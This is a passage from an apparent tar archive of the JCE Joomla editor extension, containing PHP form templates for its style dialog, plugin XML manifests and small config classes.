          <label for="box_padding_right" class="uk-form-label uk-width-2-10"><?php echo Text::_('WF_STYLES_RIGHT'); ?></label>
              <div class="uk-form-controls uk-width-4-10">
                <input type="number" id="box_padding_right" disabled="disabled" />
              </div>
              <div class="uk-form-controls uk-width-4-10">
                <select id="box_padding_right_measurement" disabled="disabled"></select>
              </div>
        </div>
        <div class="uk-form-row uk-grid uk-grid-small">
          <label for="box_padding_bottom" class="uk-form-label uk-width-2-10"><?php echo Text::_('WF_STYLES_BOTTOM'); ?></label>
              <div class="uk-form-controls uk-width-4-10">
                <input type="number" id="box_padding_bottom" disabled="disabled" />
              </div>
              <div class="uk-form-controls uk-width-4-10">
                <select id="box_padding_bottom_measurement" disabled="disabled"></select>
              </div>
        </div>
        <div class="uk-form-row uk-grid uk-grid-small">
          <label for="box_padding_left" class="uk-form-label uk-width-2-10"><?php echo Text::_('WF_STYLES_LEFT'); ?></label>
              <div class="uk-form-controls uk-width-4-10">
                <input type="number" id="box_padding_left" disabled="disabled" />
              </div>
              <div class="uk-form-controls uk-width-4-10">
                <select id="box_padding_left_measurement" disabled="disabled"></select>
              </div>
        </div>

    </fieldset>
   </div>
   <div class="uk-width-5-10">
    <fieldset>
      <legend><?php echo Text::_('WF_STYLES_MARGIN'); ?></legend>
        <div class="uk-form-row">
          <input type="checkbox" id="box_margin_same" checked="checked" onclick="StyleDialog.toggleSame(this,'box_margin');" />
          <label for="box_margin_same"><?php echo Text::_('WF_STYLES_SAME'); ?></label>
        </div>
        <div class="uk-form-row uk-grid uk-grid-small">
          <label for="box_margin_top" class="uk-form-label uk-width-2-10"><?php echo Text::_('WF_STYLES_TOP'); ?></label>
              <div class="uk-form-controls uk-width-4-10">
                <input type="number" id="box_margin_top" />
              </div>
              <div class="uk-form-controls uk-width-4-10">
                <select id="box_margin_top_measurement" ></select>
              </div>
        </div>
        <div class="uk-form-row uk-grid uk-grid-small">
          <label for="box_margin_right" class="uk-form-label uk-width-2-10"><?php echo Text::_('WF_STYLES_RIGHT'); ?></label>
              <div class="uk-form-controls uk-width-4-10">
                <input type="number" id="box_margin_right" disabled="disabled" />
              </div>
              <div class="uk-form-controls uk-width-4-10">
                <select id="box_margin_right_measurement" disabled="disabled"></select>
              </div>
        </div>
        <div class="uk-form-row uk-grid uk-grid-small">
          <label for="box_margin_bottom" class="uk-form-label uk-width-2-10"><?php echo Text::_('WF_STYLES_BOTTOM'); ?></label>
              <div class="uk-form-controls uk-width-4-10">
                <input type="number" id="box_margin_bottom" disabled="disabled" />
                </div>
              <div class="uk-form-controls uk-width-4-10">
                <select id="box_margin_bottom_measurement" disabled="disabled"></select>
              </div>
        </div>
        <div class="uk-form-row uk-grid uk-grid-small">
          <label for="box_margin_left" class="uk-form-label uk-width-2-10"><?php echo Text::_('WF_STYLES_LEFT'); ?></label>
              <div class="uk-form-controls uk-width-4-10">
                <input type="number" id="box_margin_left" disabled="disabled" />
              </div>
              <div class="uk-form-controls uk-width-4-10">
                <select id="box_margin_left_measurement" disabled="disabled"></select>
              </div>
        </div>
    </fieldset>
  </div>
</div>
com_jce/editor/plugins/style/tmpl/list.php000060400000002233152453734450014722 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;
?>

<div class="uk-form-row uk-grid uk-grid-small">
  <label class="uk-form-label uk-width-2-10" for="list_type"><?php echo Text::_('WF_STYLES_LIST_TYPE'); ?></label>
  <div class="uk-form-controls uk-width-4-10">
    <select id="list_type" name="list_type"></select>
  </div>
</div>
<div class="uk-form-row uk-grid uk-grid-small">
  <label class="uk-form-label uk-width-2-10" for="list_position"><?php echo Text::_('WF_STYLES_POSITION'); ?></label>
  <div class="uk-form-controls uk-width-4-10">
    <select id="list_position" name="list_position"></select>
  </div>
</div>
<div class="uk-form-row uk-grid uk-grid-small">
  <label class="uk-form-label uk-width-2-10" for="list_bullet_image"><?php echo Text::_('WF_STYLES_BULLET_IMAGE'); ?></label>
  <div class="uk-form-controls uk-width-8-10">
    <input id="list_bullet_image" name="list_bullet_image" type="text" class="browser image" />
  </div>
</div>
com_jce/editor/plugins/style/tmpl/border.php000060400000013136152453734450015230 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;
?>
<div class="uk-grid">
  <div class="uk-width-3-10">
    <fieldset>
      <legend><?php echo Text::_('WF_STYLES_STYLE'); ?></legend>
      <div class="uk-form-row">
        <input type="checkbox" id="border_style_same" checked="checked" onclick="StyleDialog.toggleSame(this,'border_style');" />
        <label for="border_style_same"><?php echo Text::_('WF_STYLES_SAME'); ?></label>
      </div>
    <div class="uk-form-row uk-grid uk-grid-small">
      <label for="border_style_top" class="uk-form-label uk-width-3-10"><?php echo Text::_('WF_STYLES_TOP'); ?></label>
      <div class="uk-form-controls uk-width-7-10">
        <input type="text" id="border_style_top" class="uk-datalist" list="border_style_top_datalist" /><datalist id="border_style_top_datalist"></datalist>
      </div>
    </div>

    <div class="uk-form-row uk-grid uk-grid-small">
      <label for="border_style_right" class="uk-form-label uk-width-3-10"><?php echo Text::_('WF_STYLES_RIGHT'); ?></label>
      <div class="uk-form-controls uk-width-7-10">
        <input type="text" id="border_style_right" class="uk-datalist" list="border_style_right_datalist" /><datalist id="border_style_right_datalist"></datalist>
      </div>
    </div>

    <div class="uk-form-row uk-grid uk-grid-small">
      <label for="border_style_bottom" class="uk-form-label uk-width-3-10"><?php echo Text::_('WF_STYLES_BOTTOM'); ?></label>
      <div class="uk-form-controls uk-width-7-10">
        <input type="text" id="border_style_bottom" class="uk-datalist" list="border_style_bottom_datalist" /><datalist id="border_style_bottom_datalist"></datalist>
      </div>
    </div>

    <div class="uk-form-row uk-grid uk-grid-small">
      <label for="border_style_left" class="uk-form-label uk-width-3-10"><?php echo Text::_('WF_STYLES_LEFT'); ?></label>
      <div class="uk-form-controls uk-width-7-10">
        <input type="text" id="border_style_left" class="uk-datalist" list="border_style_left_datalist" /><datalist id="border_style_left_datalist"></datalist>
      </div>
    </div>
  </fieldset>
  </div>
  <div class="uk-width-4-10">
    <fieldset>
      <legend><?php echo Text::_('WF_STYLES_WIDTH'); ?></legend>
      <div class="uk-form-row">
        <input type="checkbox" id="border_width_same" checked="checked" onclick="StyleDialog.toggleSame(this,'border_width');" />
        <label for="border_width_same"><?php echo Text::_('WF_STYLES_SAME'); ?></label>
      </div>

      <div class="uk-form-row uk-grid uk-grid-small">
        <div class="uk-form-controls uk-width-5-10">
          <input type="text" id="border_width_top" class="uk-datalist" list="border_width_top_datalist" /><datalist id="border_width_top_datalist"></datalist>
        </div>
        <div class="uk-form-controls uk-width-5-10">
          <select id="border_width_top_measurement" ></select>
        </div>
      </div>

      <div class="uk-form-row uk-grid uk-grid-small">
        <div class="uk-form-controls uk-width-5-10">
          <input type="text" id="border_width_right" class="uk-datalist" list="border_width_right_datalist" /><datalist id="border_width_right_datalist"></datalist>
        </div>
        <div class="uk-form-controls uk-width-5-10">
          <select id="border_width_right_measurement" ></select>
        </div>
      </div>

      <div class="uk-form-row uk-grid uk-grid-small">
        <div class="uk-form-controls uk-width-5-10">
          <input type="text" id="border_width_bottom" class="uk-datalist" list="border_width_bottom_datalist" /><datalist id="border_width_bottom_datalist"></datalist>
        </div>
        <div class="uk-form-controls uk-width-5-10">
          <select id="border_width_bottom_measurement" ></select>
        </div>
      </div>

      <div class="uk-form-row uk-grid uk-grid-small">
        <div class="uk-form-controls uk-width-5-10">
          <input type="text" id="border_width_left" class="uk-datalist" list="border_width_left_datalist" /><datalist id="border_width_left_datalist"></datalist>
        </div>
        <div class="uk-form-controls uk-width-5-10">
          <select id="border_width_left_measurement" ></select>
        </div>
      </div>
    </fieldset>
  </div>
  <div class="uk-width-3-10">
    <fieldset>
      <legend><?php echo Text::_('WF_STYLES_COLOR'); ?></legend>
      <div class="uk-form-row">
        <input type="checkbox" id="border_color_same" checked="checked" onclick="StyleDialog.toggleSame(this,'border_color');" />
        <label for="border_color_same"><?php echo Text::_('WF_STYLES_SAME'); ?></label>
      </div>

      <div class="uk-form-row uk-grid uk-grid-small">
        <div class="uk-form-controls uk-width-2-3">
          <input id="border_color_top" class="color" type="text" value="" />
        </div>
      </div>

      <div class="uk-form-row uk-grid uk-grid-small">
        <div class="uk-form-controls uk-width-2-3">
          <input id="border_color_right" class="color" type="text" value="" />
        </div>
      </div>

      <div class="uk-form-row uk-grid uk-grid-small">
        <div class="uk-form-controls uk-width-2-3">
          <input id="border_color_bottom" class="color" type="text" value="" />
        </div>
      </div>

      <div class="uk-form-row uk-grid uk-grid-small">
        <div class="uk-form-controls uk-width-2-3">
          <input id="border_color_left" class="color" type="text" value="" />
        </div>
      </div>
    </fieldset>
  </div>
</div>
com_jce/editor/plugins/style/tmpl/block.php000060400000007160152453734450015045 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;
?>
      <div class="uk-form-row uk-grid uk-grid-small">
        <label for="block_wordspacing" class="uk-form-label uk-width-2-10"><?php echo Text::_('WF_STYLES_BLOCK_WORDSPACING'); ?></label>
            <div class="uk-form-controls uk-width-5-10">
              <input type="text" id="block_wordspacing" class="uk-datalist" list="block_wordspacing_datalist" /><datalist id="block_wordspacing_datalist"></datalist>
            </div>
            <div class="uk-form-controls uk-width-3-10">
              <select id="block_wordspacing_measurement" ></select>
            </div>
      </div>

      <div class="uk-form-row uk-grid uk-grid-small">
        <label for="block_letterspacing" class="uk-form-label uk-width-2-10"><?php echo Text::_('WF_STYLES_BLOCK_LETTERSPACING'); ?></label>
            <div class="uk-form-controls uk-width-5-10">
              <input type="text" id="block_letterspacing" class="uk-datalist" list="block_letterspacing_datalist" /><datalist id="block_letterspacing_datalist"></datalist>
            </div>
            <div class="uk-form-controls uk-width-3-10">
              <select id="block_letterspacing_measurement"></select>
            </div>
      </div>

      <div class="uk-form-row uk-grid uk-grid-small">
        <label for="block_vertical_alignment" class="uk-form-label uk-width-2-10"><?php echo Text::_('WF_STYLES_BLOCK_VERTICAL_ALIGNMENT'); ?></label>
        <div class="uk-form-controls uk-width-5-10">
          <input type="text" id="block_vertical_alignment" class="uk-datalist" list="block_vertical_alignment_datalist" /><datalist id="block_vertical_alignment_datalist"></datalist>
        </div>
      </div>

      <div class="uk-form-row uk-grid uk-grid-small">
        <label for="block_text_align" class="uk-form-label uk-width-2-10"><?php echo Text::_('WF_STYLES_BLOCK_TEXT_ALIGN'); ?></label>
        <div class="uk-form-controls uk-width-5-10">
          <input type="text" id="block_text_align" class="uk-datalist" list="block_text_align_datalist" /><datalist id="block_text_align_datalist"></datalist>
        </div>
      </div>

      <div class="uk-form-row uk-grid uk-grid-small">
        <label for="block_text_indent" class="uk-form-label uk-width-2-10"><?php echo Text::_('WF_STYLES_BLOCK_TEXT_INDENT'); ?></label>
            <div class="uk-form-controls uk-width-2-10">
              <input type="number" id="block_text_indent" />
            </div>
            <div class="uk-form-controls uk-width-2-10">
              <select id="block_text_indent_measurement"></select>
            </div>
      </div>

      <div class="uk-form-row uk-grid uk-grid-small">
        <label for="block_whitespace" class="uk-form-label uk-width-2-10"><?php echo Text::_('WF_STYLES_BLOCK_WHITESPACE'); ?></label>
        <div class="uk-form-controls uk-width-5-10">
          <input type="text" id="block_whitespace" class="uk-datalist" list="block_whitespace_datalist" /><datalist id="block_whitespace_datalist"></datalist>
        </div>
      </div>

      <div class="uk-form-row uk-grid uk-grid-small">
        <label for="block_display" class="uk-form-label uk-width-2-10"><?php echo Text::_('WF_STYLES_BLOCK_DISPLAY'); ?></label>
        <div class="uk-form-controls uk-width-5-10">
          <input type="text" id="block_display" class="uk-datalist" list="block_display_datalist" /><datalist id="block_display_datalist"></datalist>
        </div>
      </div>
com_jce/editor/plugins/style/tmpl/index.html000060400000000054152453734450015232 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/plugins/style/tmpl/default.php000060400000001776152453734450015406 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

$tabs = WFTabs::getInstance();
?>
<form>
    <?php $tabs->render();?>
    <div class="mceActionPanel">
        <div class="uk-form-row uk-float-left">
            <label for="toggle_insert_span" class="uk-form-label"><input type="checkbox" id="toggle_insert_span" onclick="StyleDialog.toggleApplyAction();" /> <?php echo Text::_('WF_STYLES_TOGGLE_INSERT_SPAN'); ?></label>
        </div>
        <button type="button" id="cancel"><?php echo Text::_('WF_LABEL_CANCEL'); ?></button>
        <button type="button" id="apply"><?php echo Text::_('WF_STYLES_APPLY'); ?></button>
        <button type="submit" id="insert"><?php echo Text::_('WF_LABEL_UPDATE'); ?></button>
    </div>
</form>
<div style="display:none;">
    <div id="container"></div>
</div>com_jce/editor/plugins/style/tmpl/text.php000060400000010647152453734450014743 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;
?>
<div class="uk-form-row uk-grid uk-grid-small">
  <label for="text_font" class="uk-form-label uk-width-2-10"><?php echo Text::_('WF_STYLES_TEXT_FONT'); ?></label>
    <div class="uk-form-controls uk-width-8-10"><input type="text" id="text_font" class="uk-datalist" list="text_font_datalist" /><datalist id="text_font_datalist"></datalist></div>
</div>
<div class="uk-form-row uk-grid uk-grid-small">
    <label for="text_size" class="uk-form-label uk-width-2-10"><?php echo Text::_('WF_STYLES_TEXT_SIZE'); ?></label>

      <div class="uk-form-controls uk-width-2-10">
        <input type="text" id="text_size" class="uk-datalist" list="text_size_datalist" /><datalist id="text_size_datalist"></datalist>
      </div>
      <div class="uk-form-controls uk-width-2-10">
        <select id="text_size_measurement"></select>
      </div>

    <div class="uk-width-4-10">
      <label for="text_weight" class="uk-form-label uk-width-3-10"><?php echo Text::_('WF_STYLES_TEXT_WEIGHT'); ?></label>
           <div class="uk-form-controls uk-width-7-10"><select id="text_weight"></select></div>
  </div>
</div>
      <div class="uk-form-row uk-grid uk-grid-small">
        <label class="uk-form-label uk-width-2-10" for="text_style"><?php echo Text::_('WF_STYLES_TEXT_STYLE'); ?></label>
            <div class="uk-form-controls uk-width-4-10">
              <input type="text" id="text_style" class="uk-datalist" list="text_style_datalist" /><datalist id="text_style_datalist"></datalist>
            </div>
          <div class="uk-width-4-10">
            <label class="uk-form-label uk-width-3-10" for="text_variant"><?php echo Text::_('WF_STYLES_TEXT_VARIANT'); ?></label>
              <div class="uk-form-controls uk-width-7-10">
                <select id="text_variant"></select>
              </div>
          </div>
      </div>
      <div class="uk-form-row uk-grid uk-grid-small">
        <label class="uk-form-label uk-width-2-10" for="text_lineheight"><?php echo Text::_('WF_STYLES_TEXT_LINEHEIGHT'); ?></label>
            <div class="uk-form-row uk-width-2-10">
                <input type="text" id="text_lineheight" class="uk-datalist" list="text_lineheight_datalist" /><datalist id="text_lineheight_datalist"></datalist>
            </div>
            <div class="uk-form-controls uk-width-2-10">
              <select id="text_lineheight_measurement" ></select>
            </div>
            <div class="uk-width-4-10">
              <label class="uk-form-label uk-width-3-10" for="text_case"><?php echo Text::_('WF_STYLES_TEXT_CASE'); ?></label>
              <div class="uk-form-controls uk-width-7-10">
                <select id="text_case" ></select>
              </div>
            </div>
      </div>
      <div class="uk-form-row uk-grid uk-grid-small">
        <label class="uk-form-label uk-width-2-10" for="text_color"><?php echo Text::_('WF_STYLES_TEXT_COLOR'); ?></label>
            <div class="uk-form-controls uk-width-2-10">
              <input id="text_color" class="color" type="text" value="" />
            </div>
      </div>
      <div class="uk-form-row uk-grid uk-grid-small">
          <label class="uk-form-label uk-width-2-10"><?php echo Text::_('WF_STYLES_TEXT_DECORATION'); ?></label>
          <div class="uk-form-controls uk-width-8-10">
              <input id="text_underline" type="checkbox" />
              <label for="text_underline" class="uk-margin-right"><?php echo Text::_('WF_STYLES_TEXT_UNDERLINE'); ?></label>

              <input id="text_overline" type="checkbox" />
              <label for="text_overline" class="uk-margin-right"><?php echo Text::_('WF_STYLES_TEXT_OVERLINE'); ?></label>

              <input id="text_linethrough" type="checkbox" />
              <label for="text_linethrough" class="uk-margin-right"><?php echo Text::_('WF_STYLES_TEXT_STRIKETROUGH'); ?></label>

              <input id="text_blink" type="checkbox" />
              <label for="text_blink" class="uk-margin-right"><?php echo Text::_('WF_STYLES_TEXT_BLINK'); ?></label>

              <input id="text_none" type="checkbox" onclick="StyleDialog.updateTextDecorations();" />
              <label for="text_none"><?php echo Text::_('WF_STYLES_TEXT_NONE'); ?></label>
          </div>
      </div>
com_jce/editor/plugins/style/index.html000060400000000054152453734450014256 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/plugins/style/style.php000060400000002713152453734450014136 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

class WFStylePlugin extends WFEditorPlugin
{
    public function __construct()
    {
        parent::__construct(array('colorpicker' => true));
    }

    /**
     * Display the plugin.
     */
    public function display()
    {
        parent::display();

        $document = WFDocument::getInstance();

        $document->addScript(array('style'), 'plugins');
        $document->addStyleSheet(array('style'), 'plugins');

        $settings = $this->getSettings();

        $document->addScriptDeclaration('StyleDialog.settings=' . json_encode($settings) . ';');

        $tabs = WFTabs::getInstance(array(
            'base_path' => WF_EDITOR_PLUGIN,
        ));

        // Add tabs
        $tabs->addTab('text');
        $tabs->addTab('background');
        $tabs->addTab('block');
        $tabs->addTab('box');
        $tabs->addTab('border');
        $tabs->addTab('list');
        $tabs->addTab('positioning');
    }

    public function getSettings($settings = array())
    {
        $profile = $this->getProfile();

        $settings = array(
            'file_browser' => $this->getParam('file_browser', 1) && in_array('browser', explode(',', $profile->plugins)),
        );

        return parent::getSettings($settings);
    }
}
com_jce/editor/plugins/style/style.xml000060400000001177152453734450014152 0ustar00<?xml version="1.0" ?>
<extension version="3.4" type="plugin" group="jce" method="upgrade">
	<name>WF_STYLE_TITLE</name>
	<version>2.9.99.2</version>
	<creationDate>22-04-2026</creationDate>
	<author>Ryan Demmer</author>
	<authorEmail>info@joomlacontenteditor.net</authorEmail>
	<authorUrl>https://www.joomlacontenteditor.net/</authorUrl>
	<copyright>Ryan Demmer</copyright>
	<license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
	<description>WF_STYLE_DESC</description>
	<icon>style</icon>
	<help>
		<topic key="style.about" title="WF_STYLE_HELP_ABOUT" />
	</help>
	<languages></languages>
</extension>com_jce/editor/plugins/article/article.xml000060400000002260152453734450014712 0ustar00<?xml version="1.0" ?>
<extension version="3.4" type="plugin" group="jce" method="upgrade">
    <name>WF_ARTICLE_TITLE</name>
    <version>2.9.99.2</version>
    <creationDate>22-04-2026</creationDate>
    <author>Ryan Demmer</author>
    <authorEmail>info@joomlacontenteditor.net</authorEmail>
    <authorUrl>https://www.joomlacontenteditor.net/</authorUrl>
    <copyright>Ryan Demmer</copyright>
    <license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
    <description>WF_ARTICLE_DESC</description>
    <icon>readmore,pagebreak</icon>

    <fields name="article">
        <fieldset name="config">

            <field type="heading" label="WF_PROFILES_PLUGINS_BUTTONS" />

            <field name="buttons" type="buttons" multiple="multiple" default="readmore,pagebreak" label="WF_PARAM_BUTTONS" description="WF_PARAM_BUTTONS_DESC">
                <option value="readmore">WF_ARTICLE_READMORE</option>
                <option value="pagebreak">WF_ARTICLE_PAGEBREAK</option>
            </field>
        </fieldset>
    </fields>

    <help>
        <topic key="article.about" title="WF_ARTICLE_HELP_ABOUT" />
    </help>
    <languages></languages>
</extension>com_jce/editor/plugins/article/config.php000060400000001224152453734450014522 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

class WFArticlePluginConfig
{
    public static function getConfig(&$settings)
    {
        $wf = WFApplication::getInstance();

        //$settings['article_hide_xtd_btns']     = $wf->getParam('article.hide_xtd_btns', 0, 0);
        $settings['article_show_readmore'] = $wf->getParam('article.show_readmore', 1, 1);
        $settings['article_show_pagebreak'] = $wf->getParam('article.show_pagebreak', 1, 1);
    }
}
com_jce/editor/plugins/article/index.html000060400000000054152453734450014541 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/plugins/langcode/index.html000060400000000054152453734450014672 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/plugins/langcode/langcode.xml000060400000001170152453734450015173 0ustar00<?xml version="1.0" ?>
<extension version="3.4" type="plugin" group="jce" method="upgrade">
	<name>WF_LANGCODE_TITLE</name>
	<version>2.9.99.2</version>
	<creationDate>22-04-2026</creationDate>
	<author>Ryan Demmer</author>
	<authorEmail>info@joomlacontenteditor.net</authorEmail>
	<authorUrl>https://www.joomlacontenteditor.net/</authorUrl>
	<copyright>Ryan Demmer</copyright>
	<license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
	<description>WF_LANGCODE_DESC</description>
	<icon>langcode</icon>
	<layout>langcode</layout>
	<files></files>
	<languages></languages>
	<help></help>
</extension>com_jce/editor/plugins/noneditable/noneditable.xml000060400000002056152453734450016417 0ustar00<?xml version="1.0" ?>
<extension version="3.6" type="plugin" group="jce" method="upgrade">
	<name>JCE - Noneditable</name>
	<version>1.0.0</version>
	<creationDate>July 2019</creationDate>
	<author>Ryan Demmer</author>
	<authorEmail>info@joomlacontenteditor.net</authorEmail>
	<authorUrl>https://www.joomlacontenteditor.net/</authorUrl>
	<copyright>Copyright (C) 2006 - 2020 Ryan Demmer. All rights reserved</copyright>
	<license>GNU/GPL Version 2 - http://www.gnu.org/licenses/gpl-2.0.html</license>
	<description>Noneditable elements for JCE</description>
	<icon></icon>
	<files></files>
	<!--fields name="noneditable">
		<fieldset name="config">
			<field name="noneditable_class" type="text" default="" hint="mceNonEditable" label="WF_NONEDITABLE_NONEDITABLE_CLASS" description="WF_NONEDITABLE_NONEDITABLE_CLASS_DESC" />
			<field name="editable_class" type="text" default="" hint="mceEditable" label="WF_NONEDITABLE_EDITABLE_CLASS" description="WF_NONEDITABLE_EDITABLE_CLASS_DESC" />
		</fieldset>
	</fields-->
	<languages></languages>
	<help></help>
</extension>
com_jce/editor/plugins/noneditable/index.html000060400000000054152453734450015402 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/plugins/visualchars/visualchars.xml000060400000001653152453734450016521 0ustar00<?xml version="1.0" ?>
<extension version="3.4" type="plugin" group="jce" method="upgrade">
	<name>WF_VISUALCHARS_TITLE</name>
	<version>2.9.99.2</version>
	<creationDate>22-04-2026</creationDate>
	<author>Ryan Demmer</author>
	<authorEmail>info@joomlacontenteditor.net</authorEmail>
	<authorUrl>https://www.joomlacontenteditor.net/</authorUrl>
	<copyright>Ryan Demmer</copyright>
	<license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
	<description>WF_VISUALCHARS_DESC</description>
	<icon>visualchars</icon>
	<fields name="visualchars">
		<fieldset name="config">
			<field name="state" type="yesno" default="1" label="WF_LABEL_STATE" description="WF_LABEL_STATE_DESC">
				<option value="1">JON</option>
				<option value="0">JOFF</option>
			</field>
		</fieldset>
	</fields>
	<help>
		<topic key="visualchars.about" title="WF_VISUALCHARS_HELP_ABOUT" />
	</help>
	<languages></languages>
</extension>com_jce/editor/plugins/visualchars/index.html000060400000000054152453734450015442 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/plugins/visualchars/config.php000060400000001075152453734450015427 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

class WFVisualcharsPluginConfig
{
    public static function getConfig(&$settings)
    {
        $wf = WFApplication::getInstance();

        // legacy
        $state = $wf->getParam('editor.visualchars', 0);

        $settings['visualchars_default_state'] = $wf->getParam('editor.visualchars_state', $state, 0, 'boolean');
    }
}
com_jce/editor/plugins/kitchensink/index.html000060400000000054152453734450015430 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/plugins/kitchensink/kitchensink.xml000060400000001236152453734450016472 0ustar00<?xml version="1.0" ?>
<extension version="3.4" type="plugin" group="jce" method="upgrade">
	<name>WF_KITCHENSINK_TITLE</name>
	<version>2.9.99.2</version>
	<creationDate>22-04-2026</creationDate>
	<author>Ryan Demmer</author>
	<authorEmail>info@joomlacontenteditor.net</authorEmail>
	<authorUrl>https://www.joomlacontenteditor.net/</authorUrl>
	<copyright>Ryan Demmer</copyright>
	<license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
	<description>WF_KITCHENSINK_DESC</description>
	<icon>kitchensink</icon>
	<help>
		<topic key="visualblocks.about" title="WF_KITCHENSINK_HELP_ABOUT" />
	</help>
	<languages></languages>
</extension>com_jce/editor/plugins/lists/lists.xml000060400000006047152453734450014147 0ustar00<?xml version="1.0" ?>
<extension version="3.4" type="plugin" group="jce" method="upgrade">
    <name>WF_LISTS_TITLE</name>
    <version>2.9.99.2</version>
    <creationDate>22-04-2026</creationDate>
    <author>Ryan Demmer</author>
    <authorEmail>info@joomlacontenteditor.net</authorEmail>
    <authorUrl>https://www.joomlacontenteditor.net/</authorUrl>
    <copyright>Ryan Demmer</copyright>
    <license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
    <description>WF_LISTS_DESC</description>
    <icon>numlist,bullist</icon>
    <fields name="lists">
        <fieldset name="config">
            <field type="heading" label="WF_NUMLIST_TITLE" description="" />

            <field name="number_styles" type="sortablecheckboxes" default="default,lower-alpha,lower-greek,lower-roman,upper-alpha,upper-roman" label="WF_LISTS_STYLES" description="WF_LISTS_STYLES_DESC">
                <option value="default">WF_OPTION_DEFAULT</option>
                <option value="lower-alpha">WF_LISTS_LOWER_ALPHA</option>
                <option value="lower-greek">WF_LISTS_LOWER_GREEK</option>
                <option value="lower-roman">WF_LISTS_LOWER_ROMAN</option>
                <option value="upper-alpha">WF_LISTS_UPPER_ALPHA</option>
                <option value="upper-roman">WF_LISTS_UPPER_ROMAN</option>
            </field>

            <field name="numlist_classes" type="text" default="" size="50" label="WF_LABEL_CLASSES" description="WF_LABEL_CLASSES_DESC" />

			<field name="numlist_custom_classes" type="repeatable" default="" label="WF_LABEL_CUSTOM_CLASSES" description="WF_LABEL_CUSTOM_CLASSES_DESC">
                <field type="text" size="50" hiddenLabel="true" />
            </field>

            <field type="heading" label="WF_BULLIST_TITLE" description="" />

            <field name="bullet_styles" type="sortablecheckboxes" default="default,circle,disc,square" label="WF_LISTS_STYLES" description="WF_LISTS_STYLES_DESC">
                <option value="default">WF_OPTION_DEFAULT</option>
                <option value="circle">WF_LISTS_CIRCLE</option>
                <option value="disc">WF_LISTS_DISC</option>
                <option value="square">WF_LISTS_SQUARE</option>
            </field>

            <field name="bullet_classes" type="text" default="" size="50" label="WF_LABEL_CLASSES" description="WF_LABEL_CLASSES_DESC" />

			<field name="bullet_custom_classes" type="repeatable" default="" label="WF_LABEL_CUSTOM_CLASSES" description="WF_LABEL_CUSTOM_CLASSES_DESC">
                <field type="text" size="50" hiddenLabel="true" />
            </field>

            <field type="heading" label="WF_PARAM_BUTTONS" description="" />

            <field name="buttons" type="buttons" multiple="multiple" default="numlist,bullist" label="WF_PARAM_BUTTONS" description="WF_PARAM_BUTTONS_DESC">
                <option value="numlist">WF_NUMLIST_TITLE</option>
                <option value="bullist">WF_BULLIST_TITLE</option>
            </field>
        </fieldset>
    </fields>
    <help></help>
    <languages></languages>
</extension>com_jce/editor/plugins/lists/index.html000060400000000054152453734450014254 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/plugins/table/tmpl/general_table.php000060400000006073152453734450016470 0ustar00<?php

/**
 * @copyright    Copyright (c) 2009-2022 Ryan Demmer. All rights reserved
 * @license    GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
\defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

?>
    <div class="uk-form-row uk-grid">
        <label class="uk-form-label uk-width-2-10" for="cols">
            <?php echo Text::_('WF_TABLE_COLS'); ?></label>
        <div class="uk-form-controls uk-width-3-10">
            <input id="cols" type="number" min="1" value="" required />
        </div>

        <label class="uk-form-label uk-width-2-10" for="rows">
            <?php echo Text::_('WF_TABLE_ROWS'); ?></label>
        <div class="uk-form-controls uk-width-3-10">
            <input id="rows" type="number" value="" required />
        </div>
    </div>

